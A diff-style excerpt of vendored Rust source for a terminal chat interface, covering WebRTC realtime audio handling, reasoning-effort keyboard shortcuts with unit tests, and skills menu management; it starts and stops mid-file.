result: Result<crate::app_event::RealtimeWebrtcOffer, String>,
|
||||
) {
|
||||
if self.realtime_conversation.phase != RealtimeConversationPhase::Starting
|
||||
|| !matches!(
|
||||
self.realtime_conversation.transport,
|
||||
RealtimeConversationUiTransport::Webrtc { handle: None }
|
||||
)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
let offer = match result {
|
||||
Ok(offer) => offer,
|
||||
Err(err) => {
|
||||
self.fail_realtime_conversation(format!("Failed to start realtime WebRTC: {err}"));
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
self.realtime_conversation.transport = RealtimeConversationUiTransport::Webrtc {
|
||||
handle: Some(offer.handle),
|
||||
};
|
||||
self.submit_realtime_conversation_start(Some(ConversationStartTransport::Webrtc {
|
||||
sdp: offer.offer_sdp,
|
||||
}));
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
pub(crate) fn on_realtime_webrtc_event(&mut self, event: RealtimeWebrtcEvent) {
|
||||
if !self.realtime_conversation_uses_webrtc() {
|
||||
return;
|
||||
}
|
||||
|
||||
match event {
|
||||
RealtimeWebrtcEvent::Connected => {
|
||||
if self.realtime_conversation.phase != RealtimeConversationPhase::Starting {
|
||||
return;
|
||||
}
|
||||
self.realtime_conversation.phase = RealtimeConversationPhase::Active;
|
||||
self.set_footer_hint_override(Some(Self::realtime_footer_hint_items()));
|
||||
self.request_redraw();
|
||||
}
|
||||
RealtimeWebrtcEvent::Closed => {
|
||||
self.reset_realtime_conversation_state();
|
||||
self.request_redraw();
|
||||
}
|
||||
RealtimeWebrtcEvent::Failed(message) => {
|
||||
self.fail_realtime_conversation(format!("Realtime WebRTC error: {message}"));
|
||||
}
|
||||
RealtimeWebrtcEvent::LocalAudioLevel(_) => {}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn on_realtime_webrtc_local_audio_level(&mut self, peak: u16) {
|
||||
if !self.realtime_conversation_uses_webrtc() || peak == 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
let _ = peak;
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
let RealtimeConversationUiTransport::Webrtc {
|
||||
handle: Some(handle),
|
||||
} = &self.realtime_conversation.transport
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let peak = handle.local_audio_peak();
|
||||
if self.realtime_conversation.meter_placeholder_id.is_none() {
|
||||
self.start_realtime_webrtc_meter(peak);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn realtime_conversation_uses_webrtc(&self) -> bool {
|
||||
matches!(
|
||||
self.realtime_conversation.transport,
|
||||
RealtimeConversationUiTransport::Webrtc { .. }
|
||||
)
|
||||
}
|
||||
|
||||
fn close_realtime_webrtc_transport(&mut self) {
|
||||
if let RealtimeConversationUiTransport::Webrtc { handle } =
|
||||
&mut self.realtime_conversation.transport
|
||||
&& let Some(handle) = handle.take()
|
||||
{
|
||||
handle.close();
|
||||
}
|
||||
}
|
||||
|
||||
fn enqueue_realtime_audio_out(&mut self, frame: &RealtimeAudioFrame) {
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
if self.realtime_conversation.audio_player.is_none() {
|
||||
self.realtime_conversation.audio_player =
|
||||
crate::voice::RealtimeAudioPlayer::start(&self.config).ok();
|
||||
}
|
||||
if let Some(player) = &self.realtime_conversation.audio_player
|
||||
&& let Err(err) = player.enqueue_frame(frame)
|
||||
{
|
||||
warn!("failed to play realtime audio: {err}");
|
||||
}
|
||||
}
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
let _ = frame;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn interrupt_realtime_audio_playback(&mut self) {
|
||||
if let Some(player) = &self.realtime_conversation.audio_player {
|
||||
player.clear();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn interrupt_realtime_audio_playback(&mut self) {}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn start_realtime_local_audio(&mut self) {
|
||||
if self.realtime_conversation.capture_stop_flag.is_some() {
|
||||
return;
|
||||
}
|
||||
|
||||
let capture = match crate::voice::VoiceCapture::start_realtime(
|
||||
&self.config,
|
||||
self.app_event_tx.clone(),
|
||||
) {
|
||||
Ok(capture) => capture,
|
||||
Err(err) => {
|
||||
self.fail_realtime_conversation(format!(
|
||||
"Failed to start microphone capture: {err}"
|
||||
));
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let stop_flag = capture.stopped_flag();
|
||||
let peak = capture.last_peak_arc();
|
||||
self.start_realtime_meter(stop_flag.clone(), peak);
|
||||
self.realtime_conversation.capture_stop_flag = Some(stop_flag);
|
||||
self.realtime_conversation.capture = Some(capture);
|
||||
if self.realtime_conversation.audio_player.is_none() {
|
||||
self.realtime_conversation.audio_player =
|
||||
crate::voice::RealtimeAudioPlayer::start(&self.config).ok();
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn start_realtime_webrtc_meter(&mut self, peak: Arc<AtomicU16>) {
|
||||
if self.realtime_conversation.capture_stop_flag.is_some() {
|
||||
return;
|
||||
}
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
self.start_realtime_meter(stop_flag.clone(), peak);
|
||||
self.realtime_conversation.capture_stop_flag = Some(stop_flag);
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn start_realtime_meter(&mut self, stop_flag: Arc<AtomicBool>, peak: Arc<AtomicU16>) {
|
||||
let placeholder_id = self.bottom_pane.insert_recording_meter_placeholder("⠤⠤⠤⠤");
|
||||
self.realtime_conversation.meter_placeholder_id = Some(placeholder_id.clone());
|
||||
self.request_redraw();
|
||||
|
||||
start_realtime_meter_task(placeholder_id, self.app_event_tx.clone(), stop_flag, peak);
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn start_realtime_local_audio(&mut self) {}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
pub(crate) fn restart_realtime_audio_device(&mut self, kind: RealtimeAudioDeviceKind) {
|
||||
if !self.realtime_conversation.is_active() {
|
||||
return;
|
||||
}
|
||||
|
||||
match kind {
|
||||
RealtimeAudioDeviceKind::Microphone => {
|
||||
self.stop_realtime_microphone();
|
||||
self.start_realtime_local_audio();
|
||||
}
|
||||
RealtimeAudioDeviceKind::Speaker => {
|
||||
self.stop_realtime_speaker();
|
||||
match crate::voice::RealtimeAudioPlayer::start(&self.config) {
|
||||
Ok(player) => {
|
||||
self.realtime_conversation.audio_player = Some(player);
|
||||
}
|
||||
Err(err) => {
|
||||
self.fail_realtime_conversation(format!(
|
||||
"Failed to start speaker output: {err}"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
self.request_redraw();
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(crate) fn restart_realtime_audio_device(&mut self, kind: RealtimeAudioDeviceKind) {
|
||||
let _ = kind;
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_local_audio(&mut self) {
|
||||
self.stop_realtime_microphone();
|
||||
self.stop_realtime_speaker();
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn stop_realtime_local_audio(&mut self) {}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_microphone(&mut self) {
|
||||
if let Some(flag) = self.realtime_conversation.capture_stop_flag.take() {
|
||||
flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
if let Some(capture) = self.realtime_conversation.capture.take() {
|
||||
capture.stop();
|
||||
}
|
||||
if let Some(id) = self.realtime_conversation.meter_placeholder_id.take() {
|
||||
self.remove_recording_meter_placeholder(&id);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_speaker(&mut self) {
|
||||
if let Some(player) = self.realtime_conversation.audio_player.take() {
|
||||
player.clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn start_realtime_webrtc_offer_task(app_event_tx: AppEventSender) {
|
||||
std::thread::spawn(move || {
|
||||
let result = match RealtimeWebrtcSession::start() {
|
||||
Ok(started) => {
|
||||
let event_tx = app_event_tx.clone();
|
||||
let local_audio_peak = started.handle.local_audio_peak();
|
||||
std::thread::spawn(move || {
|
||||
for event in started.events {
|
||||
if let RealtimeWebrtcEvent::LocalAudioLevel(peak) = event {
|
||||
local_audio_peak.store(peak, Ordering::Relaxed);
|
||||
event_tx.send(AppEvent::RealtimeWebrtcLocalAudioLevel(peak));
|
||||
} else {
|
||||
event_tx.send(AppEvent::RealtimeWebrtcEvent(event));
|
||||
}
|
||||
}
|
||||
});
|
||||
Ok(crate::app_event::RealtimeWebrtcOffer {
|
||||
offer_sdp: started.offer_sdp,
|
||||
handle: started.handle,
|
||||
})
|
||||
}
|
||||
Err(err) => Err(err.to_string()),
|
||||
};
|
||||
app_event_tx.send(AppEvent::RealtimeWebrtcOfferCreated { result });
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn start_realtime_meter_task(
|
||||
meter_placeholder_id: String,
|
||||
app_event_tx: AppEventSender,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
peak: Arc<AtomicU16>,
|
||||
) {
|
||||
std::thread::spawn(move || {
|
||||
let mut meter = crate::voice::RecordingMeterState::new();
|
||||
|
||||
loop {
|
||||
if stop_flag.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let meter_text = meter.next_text(peak.load(Ordering::Relaxed));
|
||||
app_event_tx.send(AppEvent::UpdateRecordingMeter {
|
||||
id: meter_placeholder_id.clone(),
|
||||
text: meter_text,
|
||||
});
|
||||
|
||||
std::thread::sleep(Duration::from_millis(60));
|
||||
}
|
||||
});
|
||||
}
|
||||
287
vendor/codex/codex-rs/tui/src/chatwidget/reasoning_shortcuts.rs
vendored
Normal file
287
vendor/codex/codex-rs/tui/src/chatwidget/reasoning_shortcuts.rs
vendored
Normal file
|
|
@ -0,0 +1,287 @@
|
|||
//! Keyboard shortcuts for stepping the active model's reasoning effort.
|
||||
//!
|
||||
//! The main chat surface treats `Alt+,` and `Alt+.` as small adjustments to the
|
||||
//! current model configuration. This module keeps that behavior separate from
|
||||
//! the larger `ChatWidget` key dispatcher while still reusing the same
|
||||
//! model-selection and Plan-mode scope paths as the settings popups.
|
||||
//!
|
||||
//! The shortcut state machine is deliberately narrow: it only handles key
|
||||
//! presses when no modal or popup owns input, it anchors unset reasoning to the
|
||||
//! current model preset's default, and it walks only efforts advertised by the
|
||||
//! active model. Unsupported current efforts are not normalized eagerly; the
|
||||
//! next shortcut moves to the nearest supported effort in the requested
|
||||
//! direction.
|
||||
|
||||
use codex_protocol::config_types::ModeKind;
|
||||
use codex_protocol::openai_models::ModelPreset;
|
||||
use codex_protocol::openai_models::ReasoningEffort as ReasoningEffortConfig;
|
||||
use crossterm::event::KeyCode;
|
||||
use crossterm::event::KeyEvent;
|
||||
use crossterm::event::KeyEventKind;
|
||||
use crossterm::event::KeyModifiers;
|
||||
use strum::IntoEnumIterator;
|
||||
|
||||
use super::ChatWidget;
|
||||
use crate::app_event::AppEvent;
|
||||
|
||||
/// Direction requested by a reasoning-level shortcut.
|
||||
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
|
||||
pub(super) enum ReasoningShortcutDirection {
|
||||
Lower,
|
||||
Raise,
|
||||
}
|
||||
|
||||
impl ReasoningShortcutDirection {
|
||||
fn from_key_event(key_event: KeyEvent) -> Option<Self> {
|
||||
if key_event.kind != KeyEventKind::Press || key_event.modifiers != KeyModifiers::ALT {
|
||||
return None;
|
||||
}
|
||||
|
||||
match key_event.code {
|
||||
KeyCode::Char(',') => Some(Self::Lower),
|
||||
KeyCode::Char('.') => Some(Self::Raise),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn bound_message(self, effort: ReasoningEffortConfig) -> String {
|
||||
let label = ChatWidget::reasoning_effort_label(effort).to_lowercase();
|
||||
match self {
|
||||
Self::Lower => format!("Reasoning is already at the lowest level ({label})."),
|
||||
Self::Raise => format!("Reasoning is already at the highest level ({label})."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl ChatWidget {
|
||||
/// Handles main-surface reasoning shortcuts before general key dispatch.
|
||||
///
|
||||
/// Returning `true` means the key was recognized as a reasoning shortcut and
|
||||
/// fully handled, even if handling only produced an informational message at
|
||||
/// a boundary. Returning `false` leaves the key available to the normal chat
|
||||
/// input flow, which is important while a popup or modal has focus.
|
||||
///
|
||||
/// Callers should route recognized shortcuts through this method rather than
|
||||
/// directly mutating reasoning state. It applies normal-mode changes without
|
||||
/// persisting them. In Plan mode, shortcuts apply only to the active
|
||||
/// Plan-mode override and skip the global-vs-Plan scope prompt.
|
||||
pub(super) fn handle_reasoning_shortcut(&mut self, key_event: KeyEvent) -> bool {
|
||||
let Some(direction) = ReasoningShortcutDirection::from_key_event(key_event) else {
|
||||
return false;
|
||||
};
|
||||
|
||||
if !self.bottom_pane.no_modal_or_popup_active() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if !self.is_session_configured() {
|
||||
self.add_info_message(
|
||||
"Reasoning shortcuts are disabled until startup completes.".to_string(),
|
||||
/*hint*/ None,
|
||||
);
|
||||
return true;
|
||||
}
|
||||
|
||||
let current_model = self.current_model().to_string();
|
||||
let Some(preset) = self.current_model_preset() else {
|
||||
self.add_info_message(
|
||||
format!("Reasoning shortcuts are unavailable for {current_model}."),
|
||||
/*hint*/ None,
|
||||
);
|
||||
return true;
|
||||
};
|
||||
|
||||
let choices = reasoning_choices(&preset);
|
||||
let current_effort = self
|
||||
.effective_reasoning_effort()
|
||||
.unwrap_or(preset.default_reasoning_effort);
|
||||
let Some(next_effort) = next_reasoning_effort(&choices, Some(current_effort), direction)
|
||||
else {
|
||||
self.add_info_message(direction.bound_message(current_effort), /*hint*/ None);
|
||||
return true;
|
||||
};
|
||||
|
||||
if self.collaboration_modes_enabled() && self.active_mode_kind() == ModeKind::Plan {
|
||||
self.app_event_tx
|
||||
.send(AppEvent::UpdatePlanModeReasoningEffort(Some(next_effort)));
|
||||
} else {
|
||||
self.apply_model_and_effort_without_persist(current_model, Some(next_effort));
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
fn current_model_preset(&self) -> Option<ModelPreset> {
|
||||
let current_model = self.current_model();
|
||||
self.model_catalog
|
||||
.try_list_models()
|
||||
.ok()?
|
||||
.into_iter()
|
||||
.find(|preset| preset.model == current_model)
|
||||
}
|
||||
}
|
||||
|
||||
fn reasoning_choices(preset: &ModelPreset) -> Vec<ReasoningEffortConfig> {
|
||||
let mut choices = Vec::new();
|
||||
for effort in ReasoningEffortConfig::iter() {
|
||||
if preset
|
||||
.supported_reasoning_efforts
|
||||
.iter()
|
||||
.any(|option| option.effort == effort)
|
||||
{
|
||||
choices.push(effort);
|
||||
}
|
||||
}
|
||||
if choices.is_empty() {
|
||||
choices.push(preset.default_reasoning_effort);
|
||||
}
|
||||
choices
|
||||
}
|
||||
|
||||
fn next_reasoning_effort(
|
||||
choices: &[ReasoningEffortConfig],
|
||||
current_effort: Option<ReasoningEffortConfig>,
|
||||
direction: ReasoningShortcutDirection,
|
||||
) -> Option<ReasoningEffortConfig> {
|
||||
let current_effort = current_effort?;
|
||||
if choices.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let current_rank = effort_rank(current_effort);
|
||||
match direction {
|
||||
ReasoningShortcutDirection::Lower => choices
|
||||
.iter()
|
||||
.rev()
|
||||
.copied()
|
||||
.find(|choice| effort_rank(*choice) < current_rank),
|
||||
ReasoningShortcutDirection::Raise => choices
|
||||
.iter()
|
||||
.copied()
|
||||
.find(|choice| effort_rank(*choice) > current_rank),
|
||||
}
|
||||
}
|
||||
|
||||
fn effort_rank(effort: ReasoningEffortConfig) -> i32 {
|
||||
match effort {
|
||||
ReasoningEffortConfig::None => 0,
|
||||
ReasoningEffortConfig::Minimal => 1,
|
||||
ReasoningEffortConfig::Low => 2,
|
||||
ReasoningEffortConfig::Medium => 3,
|
||||
ReasoningEffortConfig::High => 4,
|
||||
ReasoningEffortConfig::XHigh => 5,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use pretty_assertions::assert_eq;
|
||||
|
||||
#[test]
|
||||
fn next_reasoning_effort_raises_from_default_anchor() {
|
||||
let choices = vec![
|
||||
ReasoningEffortConfig::Low,
|
||||
ReasoningEffortConfig::Medium,
|
||||
ReasoningEffortConfig::High,
|
||||
ReasoningEffortConfig::XHigh,
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::Medium),
|
||||
ReasoningShortcutDirection::Raise,
|
||||
),
|
||||
Some(ReasoningEffortConfig::High)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn next_reasoning_effort_lowers_from_default_anchor() {
|
||||
let choices = vec![
|
||||
ReasoningEffortConfig::Low,
|
||||
ReasoningEffortConfig::Medium,
|
||||
ReasoningEffortConfig::High,
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::Medium),
|
||||
ReasoningShortcutDirection::Lower,
|
||||
),
|
||||
Some(ReasoningEffortConfig::Low)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn next_reasoning_effort_skips_to_supported_level_from_unsupported_current() {
|
||||
let choices = vec![ReasoningEffortConfig::Low, ReasoningEffortConfig::High];
|
||||
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::Medium),
|
||||
ReasoningShortcutDirection::Raise,
|
||||
),
|
||||
Some(ReasoningEffortConfig::High)
|
||||
);
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::Medium),
|
||||
ReasoningShortcutDirection::Lower,
|
||||
),
|
||||
Some(ReasoningEffortConfig::Low)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn next_reasoning_effort_clamps_at_bounds() {
|
||||
let choices = vec![
|
||||
ReasoningEffortConfig::Low,
|
||||
ReasoningEffortConfig::Medium,
|
||||
ReasoningEffortConfig::High,
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::Low),
|
||||
ReasoningShortcutDirection::Lower,
|
||||
),
|
||||
None
|
||||
);
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::High),
|
||||
ReasoningShortcutDirection::Raise,
|
||||
),
|
||||
None
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn next_reasoning_effort_single_option_is_noop() {
|
||||
let choices = vec![ReasoningEffortConfig::High];
|
||||
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::High),
|
||||
ReasoningShortcutDirection::Raise,
|
||||
),
|
||||
None
|
||||
);
|
||||
assert_eq!(
|
||||
next_reasoning_effort(
|
||||
&choices,
|
||||
Some(ReasoningEffortConfig::High),
|
||||
ReasoningShortcutDirection::Lower,
|
||||
),
|
||||
None
|
||||
);
|
||||
}
|
||||
}
|
||||
16
vendor/codex/codex-rs/tui/src/chatwidget/session_header.rs
vendored
Normal file
16
vendor/codex/codex-rs/tui/src/chatwidget/session_header.rs
vendored
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
pub(crate) struct SessionHeader {
|
||||
model: String,
|
||||
}
|
||||
|
||||
impl SessionHeader {
|
||||
pub(crate) fn new(model: String) -> Self {
|
||||
Self { model }
|
||||
}
|
||||
|
||||
/// Updates the header's model text.
|
||||
pub(crate) fn set_model(&mut self, model: &str) {
|
||||
if self.model != model {
|
||||
self.model = model.to_string();
|
||||
}
|
||||
}
|
||||
}
|
||||
31
vendor/codex/codex-rs/tui/src/chatwidget/side.rs
vendored
Normal file
31
vendor/codex/codex-rs/tui/src/chatwidget/side.rs
vendored
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
//! Chat widget hooks for side-conversation mode.
|
||||
//!
|
||||
//! App-level side-thread lifecycle lives in `app::side`; this module owns the
|
||||
//! chat-surface pieces that side mode toggles, such as the composer placeholder,
|
||||
//! footer label, and inline `/side` message submission behavior.
|
||||
|
||||
use super::*;
|
||||
|
||||
impl ChatWidget {
|
||||
pub(crate) fn submit_user_message_as_plain_user_turn(
|
||||
&mut self,
|
||||
user_message: UserMessage,
|
||||
) -> Option<AppCommand> {
|
||||
self.submit_user_message_with_shell_escape_policy(user_message, ShellEscapePolicy::Disallow)
|
||||
}
|
||||
|
||||
pub(crate) fn set_side_conversation_active(&mut self, active: bool) {
|
||||
self.active_side_conversation = active;
|
||||
let placeholder = if active {
|
||||
self.side_placeholder_text.clone()
|
||||
} else {
|
||||
self.normal_placeholder_text.clone()
|
||||
};
|
||||
self.bottom_pane.set_placeholder_text(placeholder);
|
||||
self.bottom_pane.set_side_conversation_active(active);
|
||||
}
|
||||
|
||||
pub(crate) fn set_side_conversation_context_label(&mut self, label: Option<String>) {
|
||||
self.bottom_pane.set_side_conversation_context_label(label);
|
||||
}
|
||||
}
|
||||
478
vendor/codex/codex-rs/tui/src/chatwidget/skills.rs
vendored
Normal file
478
vendor/codex/codex-rs/tui/src/chatwidget/skills.rs
vendored
Normal file
|
|
@ -0,0 +1,478 @@
|
|||
use std::collections::HashMap;
|
||||
use std::collections::HashSet;
|
||||
|
||||
use super::ChatWidget;
|
||||
use crate::app_event::AppEvent;
|
||||
use crate::bottom_pane::SelectionItem;
|
||||
use crate::bottom_pane::SelectionViewParams;
|
||||
use crate::bottom_pane::SkillsToggleItem;
|
||||
use crate::bottom_pane::SkillsToggleView;
|
||||
use crate::bottom_pane::popup_consts::standard_popup_hint_line;
|
||||
use crate::skills_helpers::skill_description;
|
||||
use crate::skills_helpers::skill_display_name;
|
||||
use codex_app_server_protocol::AppInfo;
|
||||
use codex_core_skills::model::SkillDependencies;
|
||||
use codex_core_skills::model::SkillInterface;
|
||||
use codex_core_skills::model::SkillMetadata;
|
||||
use codex_core_skills::model::SkillToolDependency;
|
||||
use codex_protocol::parse_command::ParsedCommand;
|
||||
use codex_protocol::protocol::ListSkillsResponseEvent;
|
||||
use codex_protocol::protocol::SkillMetadata as ProtocolSkillMetadata;
|
||||
use codex_protocol::protocol::SkillsListEntry;
|
||||
use codex_utils_absolute_path::AbsolutePathBuf;
|
||||
use codex_utils_plugins::mention_syntax::TOOL_MENTION_SIGIL;
|
||||
|
||||
impl ChatWidget {
|
||||
pub(crate) fn open_skills_list(&mut self) {
|
||||
self.insert_str("$");
|
||||
}
|
||||
|
||||
pub(crate) fn open_skills_menu(&mut self) {
|
||||
let items = vec![
|
||||
SelectionItem {
|
||||
name: "List skills".to_string(),
|
||||
description: Some("Tip: press $ to open this list directly.".to_string()),
|
||||
actions: vec![Box::new(|tx| {
|
||||
tx.send(AppEvent::OpenSkillsList);
|
||||
})],
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
SelectionItem {
|
||||
name: "Enable/Disable Skills".to_string(),
|
||||
description: Some("Enable or disable skills.".to_string()),
|
||||
actions: vec![Box::new(|tx| {
|
||||
tx.send(AppEvent::OpenManageSkillsPopup);
|
||||
})],
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
];
|
||||
|
||||
self.bottom_pane.show_selection_view(SelectionViewParams {
|
||||
title: Some("Skills".to_string()),
|
||||
subtitle: Some("Choose an action".to_string()),
|
||||
footer_hint: Some(standard_popup_hint_line()),
|
||||
items,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
pub(crate) fn open_manage_skills_popup(&mut self) {
|
||||
if self.skills_all.is_empty() {
|
||||
self.add_info_message("No skills available.".to_string(), /*hint*/ None);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut initial_state = HashMap::new();
|
||||
for skill in &self.skills_all {
|
||||
initial_state.insert(skill.path.clone(), skill.enabled);
|
||||
}
|
||||
self.skills_initial_state = Some(initial_state);
|
||||
|
||||
let items: Vec<SkillsToggleItem> = self
|
||||
.skills_all
|
||||
.iter()
|
||||
.map(|skill| {
|
||||
let core_skill = protocol_skill_to_core(skill);
|
||||
let display_name = skill_display_name(&core_skill);
|
||||
let description = skill_description(&core_skill).to_string();
|
||||
let name = core_skill.name.clone();
|
||||
let path = core_skill.path_to_skills_md;
|
||||
SkillsToggleItem {
|
||||
name: display_name,
|
||||
skill_name: name,
|
||||
description,
|
||||
enabled: skill.enabled,
|
||||
path,
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let view = SkillsToggleView::new(items, self.app_event_tx.clone());
|
||||
self.bottom_pane.show_view(Box::new(view));
|
||||
}
|
||||
|
||||
pub(crate) fn update_skill_enabled(&mut self, path: AbsolutePathBuf, enabled: bool) {
|
||||
for skill in &mut self.skills_all {
|
||||
if skill.path == path {
|
||||
skill.enabled = enabled;
|
||||
}
|
||||
}
|
||||
self.set_skills(Some(enabled_skills_for_mentions(&self.skills_all)));
|
||||
}
|
||||
|
||||
pub(crate) fn handle_manage_skills_closed(&mut self) {
|
||||
let Some(initial_state) = self.skills_initial_state.take() else {
|
||||
return;
|
||||
};
|
||||
let mut current_state = HashMap::new();
|
||||
for skill in &self.skills_all {
|
||||
current_state.insert(skill.path.clone(), skill.enabled);
|
||||
}
|
||||
|
||||
let mut enabled_count = 0;
|
||||
let mut disabled_count = 0;
|
||||
for (path, was_enabled) in initial_state {
|
||||
let Some(is_enabled) = current_state.get(&path) else {
|
||||
continue;
|
||||
};
|
||||
if was_enabled != *is_enabled {
|
||||
if *is_enabled {
|
||||
enabled_count += 1;
|
||||
} else {
|
||||
disabled_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if enabled_count == 0 && disabled_count == 0 {
|
||||
return;
|
||||
}
|
||||
self.add_info_message(
|
||||
format!("{enabled_count} skills enabled, {disabled_count} skills disabled"),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
|
||||
pub(crate) fn set_skills_from_response(&mut self, response: &ListSkillsResponseEvent) {
|
||||
let skills = skills_for_cwd(&self.config.cwd, &response.skills);
|
||||
self.skills_all = skills;
|
||||
self.set_skills(Some(enabled_skills_for_mentions(&self.skills_all)));
|
||||
}
|
||||
|
||||
pub(crate) fn annotate_skill_reads_in_parsed_cmd(
|
||||
&self,
|
||||
mut parsed_cmd: Vec<ParsedCommand>,
|
||||
) -> Vec<ParsedCommand> {
|
||||
if self.skills_all.is_empty() {
|
||||
return parsed_cmd;
|
||||
}
|
||||
|
||||
for parsed in &mut parsed_cmd {
|
||||
let ParsedCommand::Read { name, path, .. } = parsed else {
|
||||
continue;
|
||||
};
|
||||
if name != "SKILL.md" {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Best effort only: annotate exact SKILL.md path matches from the loaded skills list.
|
||||
if let Some(skill) = self
|
||||
.skills_all
|
||||
.iter()
|
||||
.find(|skill| skill.path.as_path() == path)
|
||||
{
|
||||
*name = format!("{name} ({} skill)", skill.name);
|
||||
}
|
||||
}
|
||||
|
||||
parsed_cmd
|
||||
}
|
||||
}
|
||||
|
||||
fn skills_for_cwd(
|
||||
cwd: &AbsolutePathBuf,
|
||||
skills_entries: &[SkillsListEntry],
|
||||
) -> Vec<ProtocolSkillMetadata> {
|
||||
skills_entries
|
||||
.iter()
|
||||
.find(|entry| entry.cwd.as_path() == cwd.as_path())
|
||||
.map(|entry| entry.skills.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
fn enabled_skills_for_mentions(skills: &[ProtocolSkillMetadata]) -> Vec<SkillMetadata> {
|
||||
skills
|
||||
.iter()
|
||||
.filter(|skill| skill.enabled)
|
||||
.map(protocol_skill_to_core)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn protocol_skill_to_core(skill: &ProtocolSkillMetadata) -> SkillMetadata {
|
||||
SkillMetadata {
|
||||
name: skill.name.clone(),
|
||||
description: skill.description.clone(),
|
||||
short_description: skill.short_description.clone(),
|
||||
interface: skill.interface.clone().map(|interface| SkillInterface {
|
||||
display_name: interface.display_name,
|
||||
short_description: interface.short_description,
|
||||
icon_small: interface.icon_small,
|
||||
icon_large: interface.icon_large,
|
||||
brand_color: interface.brand_color,
|
||||
default_prompt: interface.default_prompt,
|
||||
}),
|
||||
dependencies: skill
|
||||
.dependencies
|
||||
.clone()
|
||||
.map(|dependencies| SkillDependencies {
|
||||
tools: dependencies
|
||||
.tools
|
||||
.into_iter()
|
||||
.map(|tool| SkillToolDependency {
|
||||
r#type: tool.r#type,
|
||||
value: tool.value,
|
||||
description: tool.description,
|
||||
transport: tool.transport,
|
||||
command: tool.command,
|
||||
url: tool.url,
|
||||
})
|
||||
.collect(),
|
||||
}),
|
||||
policy: None,
|
||||
path_to_skills_md: skill.path.clone(),
|
||||
scope: skill.scope,
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn collect_tool_mentions(
|
||||
text: &str,
|
||||
mention_paths: &HashMap<String, String>,
|
||||
) -> ToolMentions {
|
||||
let mut mentions = extract_tool_mentions_from_text(text);
|
||||
for (name, path) in mention_paths {
|
||||
if mentions.names.contains(name) {
|
||||
